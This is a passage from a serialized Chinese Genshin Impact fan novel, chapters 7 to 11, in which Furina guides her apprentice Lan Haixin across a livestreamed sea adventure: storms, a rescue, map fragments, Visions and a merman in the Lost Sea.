而助教系统一通滴滴答答的声音,问它为什么发出怪叫,它说这是系统独特的、庆祝的声音,它觉得这个世界的任务有它辅助绝对毫无压力,它已经看见了它的金牌评分。 一人一统就这样看着蓝海心忙忙碌碌,除非是什么她实在搞不定的,比如说她一个人拉起船帆实在是有些强人所难了,芙宁娜招呼几只纯水精灵上去帮帮忙。 水蓝色的小精灵们全是大海里凝聚的,一个个的都十分可爱,虽然不会说话,但它们‘咕噜咕噜’的声音往外蹦哒,好似在使用着独家的语言在与她们交流。 很多时候,船上的卫生工作都靠它们来打理。 所以芙宁娜在海上飘荡的生活非但不枯燥,反而自由自在,时不时还有海兽追随于她,企图和她贴贴。 除了在辨认地图这个方面有一点小小的问题。 “我们应该走对方向了吧?为什么这么多天了,还在海上呢?” 按道理来说,应该要不了这么远才是,她嘟着嘴,双手撑着下巴,大脑里各种各样的念头都在往外冒。 蓝海心今天也是刚刚蹲完马步,又马不停蹄地挥剑,现在坐下来歇一歇,就听见了芙宁娜的疑惑。 她捂了捂额头,最开始她们看到的地图是往西走,可是海上没有指南针,她们只能依靠着头顶的太阳来辨别方向,没有具体的时间,只能估测个大概。 这样一来,有时候确实很害怕走错路,她腌制的野猪肉本来就不多,而蓝海心最近又胃口大增,压根没剩了,不过海中的海兽们为了和芙宁娜贴贴,会上供不少海货,吃喝足够,但是总是吃海里的东西,她们都快要吃吐了。 芙宁娜现在总想着找个陆地登陆一下,最主要的是找点别的东西吃,她心爱的小蛋糕什么的,全都没有条件,难过。 “再坚持一下吧,师父,唉,也许就快到了呢?” 现在回头,也根本不可能了,也只有一路走到黑了。 至于助教系统,它不太敢开腔,不然迎接它的就是芙宁娜的一顿叨。 路线一如既往,为了更仔细的确认方向,她用鱼骨头做了一个简易版本的日晷,这样的话,好歹能根据太阳来区分每日的时间,一路朝着观测到的西方前进。 这一条路属实漫长,不过比起无头苍蝇乱转,确确实实有了一个明确的方向,大家都会更有盼头一些。 不过,远处迎来的并不是什么岛屿,而是再一次的暴风雨。 “天越来越暗了……”芙宁娜站在甲板上,此刻的海风,不是徐徐而来般温和的,反而迅猛非凡,将她的裙摆吹得上下舞动。 蓝海心此刻急得满头大汗,在费力地拉扯着船帆,她要把它降下来。 当海风变得猛烈的时候,不详的预兆就已经在她的心头闪过,她初初来到这个世界,遇见芙宁娜之前,那狂风暴雨的阴影尚且还未消散,此刻她心里更是惊惶。 “师、师父……” 费力将船帆扯下,可暴雨四面八方迎头落下,蓝海心仿佛又回到了她即将陨命的那一天,此刻她毫无办法,也只能略有些无助地看向芙宁娜。 确实到了她大显身手的时候了,芙宁娜虽然个子比蓝海心矮一些,可如今看着抱着桅杆蹲坐在地上的徒弟,她摸了摸她的脑袋,只这么站着,她带给蓝海心的安全感也是无与伦比。 “站起来,去直面它,可不要被暴风雨击退。” 不要向恐惧低头。 芙宁娜鼓励的眼神看向蓝海心,看着她沉默且惶然地在地上坐了好一会儿,咬着牙打着颤又扶着桅杆爬了起来。 “我,我会做到的,我一点也不害怕,师父,你会一直在,对不对?” 然后,看着船只在浪里飘荡,每次都站在风口浪尖,却又恰恰好缓缓落下,像是坐现实版海盗船似的,心脏猛烈的跳动,又伴随着一丝丝的窒息。 蓝海心一遍又一遍的告诉自己,她能行,最终,她还是撑住了。 而她的疑问,一直在?那不太可能,芙宁娜并不准备说些什么善意的谎言,去欺骗这个因为奇妙的缘分与她‘绑’在一起的少女,她只是摇摇头。 “没有谁会一直在,我只会在你弱小的时候庇佑你,因为我的怜惜,但是你还是要靠自己。” 这句话说完,芙宁娜又何不怔愣呢?这些话出自她的口中,没有人会这么认为吧?骄傲的外表是为了掩藏孤独的内心。 这句话是芙宁娜对蓝海心说的,又何尝不是对自己说的呢,‘没有谁会一直在’,神明也会死去,为了枫丹的子民,她殚精竭虑,可最终,芙卡洛斯死在了无人可知的地方。 旅行者将这件事情告诉她的时候,作为人,芙宁娜为另一个自己感到遗憾。 蓝海心看着芙宁娜眼底自己的倒影,她张了张口,没有言语,随后,她站直了身躯,咬着牙想,如果她是夏国的希望,如果她会是英雄——她会万众瞩目吗? 此舞台一样是舞台,她直面了远处铺天盖地卷起来的海龙卷。 在这片海域,她们宏大又微小,暴风雨里,芙宁娜张开了屏障,在外界天翻地覆、不得安宁的时候,这只小船在风雨里晃悠,但却没有收到任何伤害,它好似融入了浪花,与每一片海浪并无二致。 远处的疾风骤浪越来越猛烈,暴风眼聚集在海面,形成了一道通天 7. 第 7 章 《原神角色带徒弟,不死就行》全本免费阅读 蓝海心急急忙忙跑到船尾,离她们有一段距离的地方,一个萤火大小的辉光,照亮了那一小片海面,那艘船如同蓝海心刚刚抵达这里的时候,已经被浪花拍断。 “我想要救救她。” “当然没问题,我们……” 救人一命的事情,就算蓝海心不说,芙宁娜发现了也会选择救人的。 “等等,”助教系统的声音在芙宁娜脑海中响起,“你不能就这样帮她,那不是一点挫折都没有吗?” 芙宁娜止住了话语,她没想那么多,只是想要救下一个人罢了。 “那怎么办?” “如果她不经历生死考验,不被风雨摧折,怎么获得神之眼?怎么在遗失海域航行?你应该让她先自己尝试才是。” 系统的话带着一丝丝的恨铁不成钢,它非常想问芙宁娜怎么就不开窍呢?温室里的花可活不到最后。 “啊啊?哦。” 其实芙宁娜想反驳,她的神之眼就来的猝不及防,一下子就出现了,一点考验都没有。 《轻涟》歌剧后出现的神之眼在她看来,轻轻松松,其实在她也没想过,五百年的考验,难道不比任何人来得艰苦吗。 只是芙宁娜以为助教系统的经验应该很丰富吧,一定比她更会出题,况且,不经历风雨怎么见彩虹,这也是一个实打实的道理。 “这是你的想法,我会让船只靠近她,但是,你必须再勇敢一点哦。” 系统说的很对,蓝海心确实不能事事都依靠她,如果她中途折戟,芙宁娜保底也能救下她来,但是重要的是助教系统所说的历练。 只有蓝海心自己一个人下去救援的话,应该能行吧?芙宁娜想,第一天在雨里救下她的时候,她看起来可可怜了。 “放心吧师父,我最近可没有白锻炼。” 而且,蓝海心水性也还不算差,因为兴趣还学过潜水。 她也并不算是一无是处,学习能力也很强,只是蓝海心总是看轻自己,觉得自己不行。 船只在芙宁娜的操纵下迅速地退了回去,水流携带着船只,逆着浪花前行,那远处若隐若现的光辉也逐渐明亮起来。 船的最顶端,一个女人将自己用绳子捆在了桅杆上,她尽量让自己不随着海浪起伏,死死地扒住了桅杆。 这般大的风暴,海底下的暗流可汹涌着呢,如果她不慎被卷入海中,绝对活不下去,也只能像这样赌一把了。 恰巧,她在直播间里不知道看见了些什么话,此刻一抬头,正巧看上了远远驶来的船只,以及上面拉着麻绳,跃跃欲试的蓝海心。 麻绳是船上自带的,蓝海心看看它们的长度、结实度都有够强的,此刻便将其当做安全绳了。 而对面的船只上,那个亚麻色头发、浅棕色眼珠的女人蓦然激动起来,朝着蓝海心招手,叽里咕噜的话语,因为风浪声,蓝海心并没有听清楚,即使听清了,可她也不会乌语啊。 但是芙宁娜听见了,出乎意料地,她还给蓝海心翻译了一下。 “她在说小心,海面下的暗流很汹涌,一不小心就会被冲走。” 蓝海心愣了一下,师父居然——能听明白外语? 她只能呆呆地点头,将麻绳在自己的身上系上一个死结,同时扯过另一端的绳子死死的绑在桅杆上,再然后,她以同样的手法系上了另一根绳子,接着,便是吸一口气,一咬牙,硬着头皮朝对面那条船跳了过去。 出了芙宁娜设下的屏障,外面的疾风骤雨呼啸而来,雨点子打在身躯上隐隐作痛,但是手中的绳子与芙宁娜的注视给了她无与伦比的安全感,她忍着内心深处强行压下去的恐慌,深呼一口气,一下子跳落在了对方断掉的浮板上。 不过,海水和雨点让这块浮板变得无比湿滑,蓝海心落上去,脚还没站稳呢,就摔了个大马趴,她只把手里的绳子紧紧的捏着,上头的女人看见蓝海心这样,她也急着将把自己牢牢绑住的绳子解开。 不过越急反而越是手滑,她心慌意乱,底下的蓝海心也爬得艰难。 芙宁娜看着她们各自慌各自的,那个乌苏国的女人最后气急,死命扒拉这桅杆,终于,大力出奇迹,她把那根本就被巨浪拍打得摇摇欲坠的桅杆折断了,此刻绳子一取,朝着蓝海心双向奔赴而去。 “绳子!快,套上往回爬。” 蓝海心趴在浮板上,将麻绳扔给了跳下来的女人,她眼疾手快,一把抓住,却还是被中途的浪花一打,坠入水下呛了几口。 再次浮上来,她更狼狈了,嘴里嘀咕了两句,估摸着是在用家乡话骂了两句,随后便将绳子缠在手掌上,撤得死紧,即使勒出血痕了,她也不愿意放手。 蓝海心也拉着麻绳,看见那个女人拉住了绳索,她也歇了口气,忙着返回船上,她并不6担心那个女人中途会松手。 毕竟乌苏国是战斗民族嘛,那个女人肌肉块头那么大,看起来就不用她担心,她只需要给她提供一条生路就好了。 而事实也证明,蓝海心这个想法也确实是对的,当她从海里爬上来的时候,那个女人喘着粗气,还顺势拉了她一把,速度比蓝海心快多了。 结果,她依然是最弱鸡的那一个吗? 上了自己的船,上面的屏障让这艘船独避风雨外,外界的可怕,她在刚才跳出去的时间里已经体验到了,又是被师父保护的一天,蓝海心心里却有些愧疚与忧虑。 愧疚于心里时时刻刻的恐惧,忧虑于自己能不能得到神明的馈赠,获得师父口中的神之眼。 虽然她明白所谓的神明就是芙宁娜,但是一生要强的她可做不出求师父作弊给自己空投神之眼的事情来,所以,一定是她不够努力,不够勇敢…… 有些乏力的她躺在甲板上低沉了好一会儿,才挣扎着坐起来。 “**……” 这一次,那个女人又说了些什么,她粗粝的嗓音让蓝海心懵圈了好一会儿,她真的,不会外语啊!! 芙宁娜这下子也看出来了,蓝海心真真切切是个傻徒弟,这听起来和至冬语相差不大,有什么听不明白的?还得靠她来吧! 她芙宁娜——可是一个博学多识的人才! “她是在说,她名叫安菲谢莉,谢谢你的援手。” “哦哦哦,不、不客气。” 蓝海心朝着安菲谢莉说道,不知道她能不能听明白,但是她只能这么回答了。 “谢谢你,好心的夏国人,以及这位尊敬的冕下,你愿意收留一下我吗?放心,我不会白住,我能尽我所能地帮助你。” 比起芙宁娜会翻译,这个名叫安菲谢莉的女人会说夏国话更来得让人惊喜,蓝海心也松了一大口气。 “当然没问题,这是我的师父芙宁娜小姐,你应该也听说过吧?” 她在这个高个女人身旁小声说,一旁的芙宁娜怎么可能听不见呢,她看了两人一眼,然后转到一边去了。 两个人怎么商量的她懒得听了,还不如看看远处的海龙卷来得令人赏心悦目,这个船只被毁去的女人自此也就留在了船上。 在离开这片区域后,她们依然一路西行,有了安菲谢莉这个航船老手的帮忙,现在蓝海心也耳濡目染学到了更多的东西,不至于靠着弹幕上找攻略而自学成才。 而安菲谢莉也比芙宁娜更适合教导蓝海心一些武斗的技巧。 “给,今天的练习结束了,喝口水吧。” 安菲谢莉将手中的杯子递给蓝海心 8. 第 8 章 《原神角色带徒弟,不死就行》全本免费阅读 “怎么不走了?” 芙宁娜回头,看着处于震惊中的两人,她歪了歪脑袋,有些疑惑。 蓝海心和安菲谢莉回过神,两人对视一眼,下定了决心。 “没什么,我们来了师父。” 她还以为要和安菲谢莉分开了,没想到,以后一起航行的时间还多着呢。 “快点来,找地图,这一次靠你们了。” 芙宁娜拍拍蓝海心的肩头,她上下打量了一下,好家伙,蓝海心好像——长高了? 她悄悄垫了一点点的脚站稳到地上,一副平静地走开了,内心里却在阴暗地蛐蛐,可恶,徒弟怎么又长高了! “范围是这整座岛吗?” 蓝海心只知道上一次芙宁娜是在岛中心找到的地图,据说还是在最不起眼的地方,但是这座岛屿比上次的那个大了不止一倍啊,她和安菲谢莉两个人? “这个嘛,游戏方相比也不会这么为难你们的,放心吧,不远。” 芙宁娜也跟着助教系统学会了卖关子,她也正好在陆地上歇一歇。 目送蓝海心和安菲谢莉离开,芙宁娜把肩膀一耸,她终于有一种脚踏实地的感觉了,虽然不晕船,但是在海上漂泊太久,落地反而有一种踩在棉花上的感觉。 这么想着,纯水精灵们飘出来,一个个地都围在她身旁,不管是水做的桌椅,还有支撑起来的帐篷,都让她欢呼一声。 “芜湖!我最喜欢你们了!” 她往沙滩椅上一趟,放养政策至上,属于她一人的悠闲假日开启。 这座极大的岛屿里的物种依然很丰富,郁郁葱葱的树木无限侵占了海岸线,芙宁娜此刻就在纯水精灵的拥护下悠悠然地躺着。 但是另一头离去的两人却不觉得岁月静好。 蓝海心无比相信芙宁娜,她说的地图碎片不远,那想必就真的就在附近,所以她们虽然走入了丛林里,但却没走远。 安菲谢莉也发誓,她把眼睛瞪到最大了,绝不放过任何一个线索,但,她们就这样不明不白地找,确实没什么用啊。 “也许我们应该先去找些东西吃。” 她指了指自己手边的树,上面红彤彤的果子,长得像是苹果,地上落下来的果子上还有鸟儿啄食的痕迹,这样看来,似乎是能吃的东西。 蓝海心也绕了过来,她蹲地上观察了一会儿,摸摸下巴,“似乎能吃?” 那些动物都能吃,她们吃了也毒不死吧? 安菲谢莉抱着和她一样的想法,她仰头看了看这颗高大的树木,少说也有百年历史的模样,树身粗壮得两人合抱不下,她有些跃跃欲试地转了转胳膊。 “我有经验,我上去摘,你在下面接着如何?” 蓝海心比了个OK的手势,安菲谢莉便将自己的外套脱给了她,穿着也不好爬树,她干脆来一个轻装上阵,呲溜一下子就爬了上去。 要蓝海心来,除了那一次因为野猪追赶,肾上腺素飙升,来了个绝地上树,要她平时来说,还真做不到这样,此刻她看着安菲谢莉去够那些果子,然后一个个扔下来,她也感忙左右移动,去接住。 床上虽然会给一些物资,但是像这样的水果可是少见,里面蕴含的丰富维生素也是人体急缺的东西。 不过,却也是恰恰巧,蓝海心抱了一大堆果子了,她正要叫树上的安菲谢莉下来,只听见她惊叫一声,反把蓝海心吓了个够呛。 “怎么了怎么了?安菲?没事吧?” 她把衣服兜住的果子包好,伸着脑袋往上看,不过枝繁叶茂的,偶尔安菲谢莉能探出一个头来,此刻也不见枝丫间隙里有什么动静。 “没事,哦,我只是吓了一跳,你瞧,是个小可爱呢,它还给我们带来了一个好消息!” 她从树枝上把手伸了出来,拿手上明显盘着什么,绿油油的,还在扭动,她一点都不害怕,但是却让底下的蓝海心起了一身的鸡皮疙瘩。 以及,安菲谢莉从树上抛下来的惊喜——和之前芙宁娜手里拿着的地图碎片一模一样的东西。 这下子蓝海心是顾不上害怕别的了,她一脸惊喜,果子往地上一放,就把这个掉地上的圆筒状物体拿起来,扭开口子,倒出来果然是牛皮地图。 “安菲!这也,太简单了!财神爷保佑啊!” 安菲谢莉从树上跳下来,湿软的泥地卸去了大半的力道,“走,我们回去找芙宁娜小姐吧。” ———— 远处,芙宁娜站起来踱步了一会儿,助教系统一直在跟进呢,她手里拿着纯水精灵给她搜寻来的椰果,甜滋滋的椰水让她的大眼睛满足地微眯起来。 “好甜啊,谢谢你们。” “嘟嘟……” 乌瑟勋爵发出了像是水泡泡破裂那样的响声,非常绅士地朝她行了一礼,让芙宁娜哈哈哈地笑了起来。 “芙宁娜小姐,你就不怕她们找不到地图吗?” “慢慢找呗,你都说不远了。” “万一呢?” 助教系统语气无奈,这个老师,怎么能比学生还不上进啊。 “反正我又不急。” 芙宁娜很有恶趣味地说出这句话,看着系统无可奈何的样子,她又得意起来,不过,两个人运气也是实在地好,她们居然借着采果子的幸运的就找到了碎片。 这反而像是……世界意识急了。 看起来,这个国运游戏马上就要加速更新了啊。 “系统,我们是不是马上就要出‘新手村’了?” 芙宁娜若有所思,她这次把光球捧在手心里,两只手凑到自己的眼前,眼里含着笑意地看着它。 这这这……小系统捂着脸,糟糕,它已经习惯被捏来甩去了,这一次怎么不按照常理出牌?它扭捏着,不敢出声。 就算它不回答,但是芙宁娜自己也猜到啦。 来了这么多天,世界意识要到请外援的地步,那肯定是祂认为紧急且必须的时候了。 所以——留给她们的时间不多了。 芙宁娜看着蓝海心和安菲谢莉两人虽然带着一些狼狈,可她们将手里的一大块地图给她的时候,她就已经猜到了。 “这么大一块,再加上那艘很特殊的船只,嗯,说不定,下一站我们就要开启遗失海域了呢。” “诶诶?遗失海域?” 这是系统自己透 9. 第 9 章 《原神角色带徒弟,不死就行》全本免费阅读 自从安菲谢莉获得了神之眼,整个蓝星全部炸成一锅粥,夏国人看着蓝海心,那也是一溜烟的恨铁不成钢。 不过也亏得乌苏国与夏国友谊深厚,他们都没多说什么,只是看着直播间里两位天选者合并同行,两国人现在是联络得更热切了。 海域之中,她们也并没有在岛上同行多久,摘了些果子,顺带猎到一些小型动物到船上,她们又回到了这个晋级以后更舒适、更牢固的船上,选择继续航行。 蓝海心呢?她每天锻炼得更努力了。 “加油,努力,坚持,我能行……” “(嚼嚼嚼)徒弟,我觉得,劳逸结合才是对的,你看你练一上午了,要不……歇一歇?” “不用了师父,我能行。” 芙宁娜坐在一旁,嚼着水果,眼神颇有些害怕在里头,蓝海心如今发奋图强到让人觉得恐慌,生怕她不小心撅过去了,但是事实上,她虽然每天累的头重脚轻,肤色被晒得发黑,但是她的肌肉那是实打实地暴涨了。 并且在芙宁娜的纯水精灵舒缓下,今天筋骨劳损,第二日又是一条好汉。 “她这样发奋,我有些担心了。” “你不是用水元素给她调理了?放心,只是受苦受累了,没什么坏影响。” 系统给芙宁娜打着包票,它也确实扫描过,蓝海心的身体状况确没问题,不过就是太努力了些。 芙宁娜劝不住她,而安菲谢莉只能助长蓝海心一心变强的气焰,毕竟,先遇上芙宁娜的明明是蓝海心,可是第一个获得神明认可,得到神之眼的人却是她。 此刻,她尝试着将火焰附到自己随身带着的小刀上,过高的温度让她手掌被烫了一瞬,下一秒,那把小刀便在她自我保护意志的支配下,落入了海洋里。 “嘶——好烫。” 她疯狂甩了甩手,得到了神之眼,不代表她就能免疫高温,自己发出来的技能虽然不会伤到她,谁知道间接性被小刀给烫到了,现在,只能为她掉入大海里的残躯心疼两秒。 “不对不对,”芙宁娜摇头,她也看见安菲谢莉的实验性操作了,“火焰是元素力的展现,普通的武器可经受不住元素力的灌溉。” 安菲谢莉若有所思地点点头,“那,能经受元素力灌注的武器,海心手上拿把剑就是,对吗?” 她能感受到黎明神剑的特殊,之前蓝海心给她借用过一两次,那把泛着微光的剑拿在手里,一瞬间她就好像得到了什么附魔加成一样,伤害力极高。 “别着急,下一站会找到合适的,你现在可以多熟悉一下别的操作。” 何况,安菲谢莉现在顶多算是一级小菜鸡,发出的火焰小球也只能点点火这个样子,再多,也是不能了。 她欣然接受了芙宁娜的建议,也跑到了一边去锻炼,这艘船上,真正闲得发慌的竟然只有她一人。 而对于遗失海域,她是越来越期盼了。 “你说那里会有什么呢?越靠近,我竟然越来越觉得那些气息无比熟悉,甚至于……让我喜爱。” 像是神明的眷属,芙宁娜就趴在船栏上,看着一成不变的前方,最近一段时间,那些总是喜欢追逐芙宁娜的海兽们也不能跟着她前行了,这里的海域越来越寂静,离了那些小可爱,芙宁娜还有些想念它们。 这样的日子只能靠着助教系统打发时间,就以现在蓝海心和安菲谢莉那不要命的训练方式,没了芙宁娜不知道谁给她们兜底。 这么想着,她又啃一口果子。 不过,向着这寂静无声的地方而去,最令人惊心的却是——它彻底没有风了。 “没有风了,船会停止前行的。” 安菲谢莉伸手感受了一番,这里并非是海天一色,后方来处是一望无际的蓝,前方却是厚重的黑。 像是在靠着深渊前行,蓝海心站在船长的位置,她在仔细地研究着这艘船的驾驶办法,试图从中找着一些奇特的地方。 她们觉得,这个国运游戏总不能把她们带到一个死地吧?在这个地方,如果船航行不了,难道还指望她们游过去吗? 芙宁娜跳上了海面,她往前走了几步,黑色如同深渊的海面并没有让她有什么恐惧的,相反,这片水域一踏过去,就像是游鱼回到了水底。 “遗失海域,无人可以抵达的地方吗?” 真有意思,现在,在芙宁娜这艘船为首的领导下,蓝星而来的无数天选者都开始出发朝着东方向而来,他们凭着太阳的指引,打算一齐来到这里,但是,无风的海域,太低级的船只可过不去。 这也是国运游戏的一个等级认证了。 另一个嘛……自然是建立在系统的盗窃法之上的超凡力量,神之眼。 可是这个它的出现有一个前提条件,来自神明的注视与坚韧的意志,神明,现阶段只有芙宁娜。 她跳上船的时候,安菲谢莉和蓝海心齐齐在驾驶舱讨论着什么,她们排除了大部分答案,剩下的,摸不着头脑了。 “也许,可以用神之眼的力量去试试。” 芙宁娜摸摸下巴,这艘船上的篆刻纹理她自然早就发现了,按理说,先前她们的船是科技造物,升级以后居然变成了木船,看起来似乎反而变得原始了,那么,这说不定也是另一侧的造物呢? 用元素力驱动,与枫丹的荒芒 10. 第 10 章 《原神角色带徒弟,不死就行》全本免费阅读 闪着光亮的硬物掉落在地上,而捂着额头一脸痛苦地蹲下来的蓝海心揉了好一会儿,这才准备抬起脑袋看看地上的是什么。 一个闪着莹莹蓝光的神之眼静静地躺在地上,她左右看了两眼,没人,而地上的无主神之眼无声无息地躺在那里,似乎在勾引着蓝海心,让她一把拿起。 “突然就,掉下来了,无主的,那不就是——我的?” 她拿着她哈哈大笑起来,不顾刚从甲板上捡起来,有灰没灰,她直接狠狠地亲了它两下,“宝贝,你可算是来了。” 虽然这个出场方式和她想得很不一样,毕竟,她以为是那种庄严郑重地,闪着光芒缓缓落在她手心,但是眼前这个,再摸一摸自己额头上的鼓包,她有些呲牙咧嘴。 “天上掉馅饼了?笑得这么傻?” 芙宁娜正在研究着眼前被元素力激活的操作台,冷不丁一转眼就看见蓝海心笑得一脸憨痴,活像白捡了摩拉一样。 “不不不,师父,这可比掉钱还要贵重得多!你看!” 她举起手里的神之眼,一脸骄傲,小表情在说着“我也有了我也有了”,但凡芙宁娜了解过蓝星的历史,说不定她会觉得这副场景与‘范进中举’有着异曲同工之妙。 “我知道你很厉害了,不过现在,你最好,先去帮一帮安菲,她正在收船帆,以防待会儿又有什么不可预料的暴风雨之类的。” 这个无风带相当于一个分界线,以西是她们来的那片普通海域,以东的话,芙宁娜已经能感受到沸腾的水元素了,不同于海下的平静安宁,前面的空气里都隐藏着狂暴的因素。 蓝海心闻言,她也不在炫耀,而是把神之眼急匆匆往兜里一揣,赶忙跑去帮忙。 船只的速度一如既往地如同急射的羽箭,绚烂的防护罩依凭着那些雕刻的纹理,护住了这一船的风平浪静,在平静的海面疾驰而过。 这样的场景,倒是像蒙德诗人传唱的无风之海,没有人会相信,世界上有一个处是风抵达不了的地方,连飞鸟都不会掠过此地。 此刻,无论是镜头前,还是镜头后,蓝星之上千千万万人全都注视着这里,看着他们破开海面,猛然冲入海域的尽头。 “不好!回来,蓝海心!安菲!不要呆在外面了!” 芙宁娜高呼一声,前方以她的观测,海水正在朝着渊口坠落,形成了一道无声且巨大的瀑布。 纯水精灵不顾两人的反应,一把把两人卷进了驾驶舱,水形幻灵随着水珠凝聚而出现,将驾驶舱挤得满满当当,当然,这一次它们充当缓冲带,还顺便帮助她们固定身形。 “怎、怎么回事——” 蓝海心有些慌慌张张,她有些无措地抱住了身前的一只幻灵,安菲谢莉就更灵活,她将手上临时拿着的绳子固定在了门上,一头系住自己,又把中间的一截递给蓝海心和芙宁娜,让她们拉住。 芙宁娜此刻的眼睛微微眯着,嘴唇抿起,但是却又微微上扬着,眼睛一眨不眨地注视着前方,目不转睛。 她在为这个惊心动魄的旅途感到兴奋,比歌剧更真实,更刺激! “拉稳了拉稳了,我们马上就要,跌落海底了!哈哈哈哈……” 她一把搂住身前的谢贝蕾妲小姐,它的爪子正固定在操作台上,为了方便芙宁娜抱住她后能稳住身形呢。 安菲谢莉也止不住的把头往前探,快了,就快了—— 直到蓝海心的尖叫袭来,她“啊———”地大喊起来,看着船只九十度倾斜顺着水流加速落下,强烈的失重感以及四翻飞的物件,让她明白,没有感觉错,她们在下坠! 【夏国选手、乌苏国选手首次抵达遗失海域,奖励血脉复苏——】 短促的提示音响起,但是现在的蓝海心和安菲谢莉都没有听清楚那一闪即逝的话语。 ‘这是新世界?’ ‘冥府怎么能不算新世界呢?’ ‘看起来可太刺激了,现实版海盗船?’ 蓝海心压根没有心思去看直播间里的留言了,她们一路落到底,巨大的震动感让她们左右摇摆,也唯有芙宁娜在纯水精灵的保护下算得上优雅落地,其她人……是经历一番天旋地转,头晕眼花,半响发不出什么动静。 直到船只开始平缓地停在海面,芙宁娜拍了拍身前护着她的纯水精灵们,不用多说,它们挪开了身躯,殷勤地推开驾驶舱的们,让芙宁娜走了出去。 湛蓝的天空与先前没什么不一样,但是这片海域,气息太浩瀚了,蓬勃的生机感扑面而来。 远处传来若隐若现的歌声,悠悠洋洋的乐曲声似乎是在询问着她们是何处而来的旅者。 芙宁娜站上船头,回应这前路的歌声,一展了她的歌喉,清越的歌声传开来,远处的海中似乎有什么大东西游了过来。 一道空灵的声音响起,“旅者,你来自何方?我从没有见过像你这样可爱的生灵。” 这么问着,祂的语气还有些羞涩起来。 芙宁娜循声望去,一个美得炫目的人?她浮在海面上,银色的头发在日光下熠熠生辉,看着芙宁娜的眼睛里满是喜爱,和先前那些巨兽异常相似。 “你……你是谁?” 许是看见芙宁娜惊讶的神色,这个美人转身潜入海下,一尾泛着银光的鱼尾就从她眼中划过,接着,海水一涨,接着浪花,那海里的人鱼就坐上了船栏上,三米高的巨大鱼尾挂在船边。 ‘她’,胸口平平,发丝长及鱼尾处,美得雌雄莫辨,用人类的眼光来说,应当是他才对。 没有感受到他的恶意,并且因为他可交流的原因,芙宁娜没有驱赶她,她倒是像听听,这只美丽的人鱼要说些什么。 他眼下正羞涩地把手里的海螺递给芙宁娜,期期艾艾地看着她。 “我叫鎏,我喜欢你。” 咦———芙宁娜脸颊爆红,她只能是强装镇定地摆摆手,拒绝拿那个海螺,有些磕磕绊绊道:“咳咳,多谢喜爱,哈哈,你也很漂亮……” 新世界的第一天,芙宁娜遇上了直球。 而此时刚刚缓过神来,就又被巨大的人鱼冲碎了世界观,更可恶的是,他在说什么?就算是大美人,传说中的人鱼,也不能随随便便就和她的师父说喜欢! 蓝海心气势汹汹地走出来,一站面前就怂了,芙宁娜盯着她,那只叫做鎏的人鱼也看着她,双方压力下,她张了 11.第 11 章 自从进入了遗失海域,顺带遇上了临时向导鎏,芙宁娜就更享福了。 鎏会潜入海底寻找明珠珍宝来一个借花献佛,还会驱赶一切靠近船只的不良因素,霸道地占据了船上的席位。 他与蓝海心、安菲谢莉的交集,大概也就是在她两打听海国消息的时候,高兴时会给她们透露一些消息,又因为蓝海心终于有一次硬气起来,伙同安菲谢莉开启了船只的防护罩把他给赶了出去,他最终还是妥协了。 他和她们和平共处,顺带有时候还送些鱼当做自己的船票。 “昔年的亚特兰蒂斯建在大海的中心,无数海国子民成年时都要到这里来接受海神的赐福,歌声常年不断,是海上最光辉璀璨之地。” 鎏似乎是在回忆故国,他坐在船头上,看着蓝海心,尖利的指甲从嘴侧划过,很是好奇她们一行人的来历。 毕竟,已经有上千年没有见过人类了,而且,还有蕴藏着海神气息的少女,他在芙宁娜身上看见了昔日那照彻海域的辉光。 想到这里,他又冲芙宁娜傻笑,他是第一个找到珍宝的,后来者,那可就没机会了。 海国沉没时,上代大祭司预言,会有人类的到来,打开海国大门,使其的光芒再度照耀海域,那时候,海域将与陆地交错。 现在,说不定就是预言应验的时候了。 “如果你们想要抵达那里,只靠船可是不行的。” 这么说着,鎏抱起双臂,一副让蓝海心求求他的模样。 然而,蓝海心白他一眼,继续用望远镜看着前方。 短短一段时间,她已经看透了这只人鱼了,第一眼见面的强势、神秘,站到她师父芙宁娜身前全都是泡沫,这就是一只舔鱼,时时刻刻都在渴望芙宁娜看看他。 而芙宁娜一脸‘老人、手机’,只觉得这家伙真烦人,比狂热粉丝还费事。 “所以你知道些什么?” 芙宁娜在一旁听着这些故事,她不喜欢卖关子,冒险虽然好,但是她想念枫丹的朋友们了,以及她的小蛋糕们,万众瞩目在她与蓝海心抵达遗失海域已然算达成,可是有始有终…… 芙宁娜猜测是要从起点抵达终点。 也许打开海国大门,抵达那里,她这个徒弟就算是出师了,说到这里,她还有些心虚。 毕竟,蓝海心走到这里全靠自学,自己顶多起到给了个神之心的作用,以及……看护着她一段时间。 “这里是遗失海域最边缘的地方,要抵达海域中心,那可远着呢,要经过海妖峡谷,鱼人大陆,风暴海……” 人鱼描述着这一路的曲折可怕,似乎是在故意恐吓,不过,对着芙宁娜,他只说,“放心,路上我会保护你的。” 现在,连安菲谢莉也给他几个白眼,船上的人越来越不待见这条鱼了。 ‘!即使再好看,也不能抢芙芙!芙芙是大家的。’ ‘所以芙宁娜师父是万人迷对不对,海生物都爱她。’ …… 听他说得那么起劲,芙宁娜却丝毫不害怕,像是枫丹的通话故事一样,不过却又有很大不同。 “海妖是什么?” 她还没听过这个物种呢,海里的妖怪? “是不是那种——吃人的、但是又很漂亮的鱼?” 蓝海心按照蓝星的传说来描述,只惹来鎏的哈哈大笑。 “吃人,你们是这么想海妖的吗?不过也确实,她们名声算不得好,喜欢什么就要抢走什么,是一群海里的强盗,并且,她们容不下一切丑陋的东西,一旦出现在她们面前,她们便会尖叫,大多数的生物都受不得这声音。” 这么一说,蓝海心竟然觉得有些共情,不好意思,大家原来都有一样的习性,只不过她没有那么极端而已。 ‘我明白了,也许我上辈子就是海妖,所以这辈子见不得丑东西。’ ‘世,另,我,懂?’ 随着鎏的细细叙说,远端的一切也让人知道,她们确实逐渐靠近了海妖的领地。 “因为不喜欢看见太丑的东西,她们干脆搬迁到了外围海域来,这里清净,来往的海生物也少。” 确实清净,芙宁娜都有好几天没看见海中的一些海兽了,她还有些不习惯。 不过蓝海心想到了一个问题,“如果我们都是从那里来到遗失海域,后来者们……不是就会撞上海妖们?” 谁知道海妖的美丑观念是什么?但是以人类的视觉观来看,她们这艘船上无一都是大美人,不论是蓝海心,还是安菲谢莉,以及重量级嘉宾鎏与芙宁娜。 “那我不知道了,直播间会传达这个消息的。” 蓝海心摆摆手,她可没有办法,何况,后来者能不能通过无风之海也说不定呢,她实在是被现实版海盗船吓怕了。 而随着她们离海妖峡谷越来越近,远处的海域确确实实不再是那么空旷了,一只两只的金发海妖漂浮在海面,似乎是在享受着四周的宁静,船只划过水面的声音自然也惊动了她们。 “啊啊啊~” 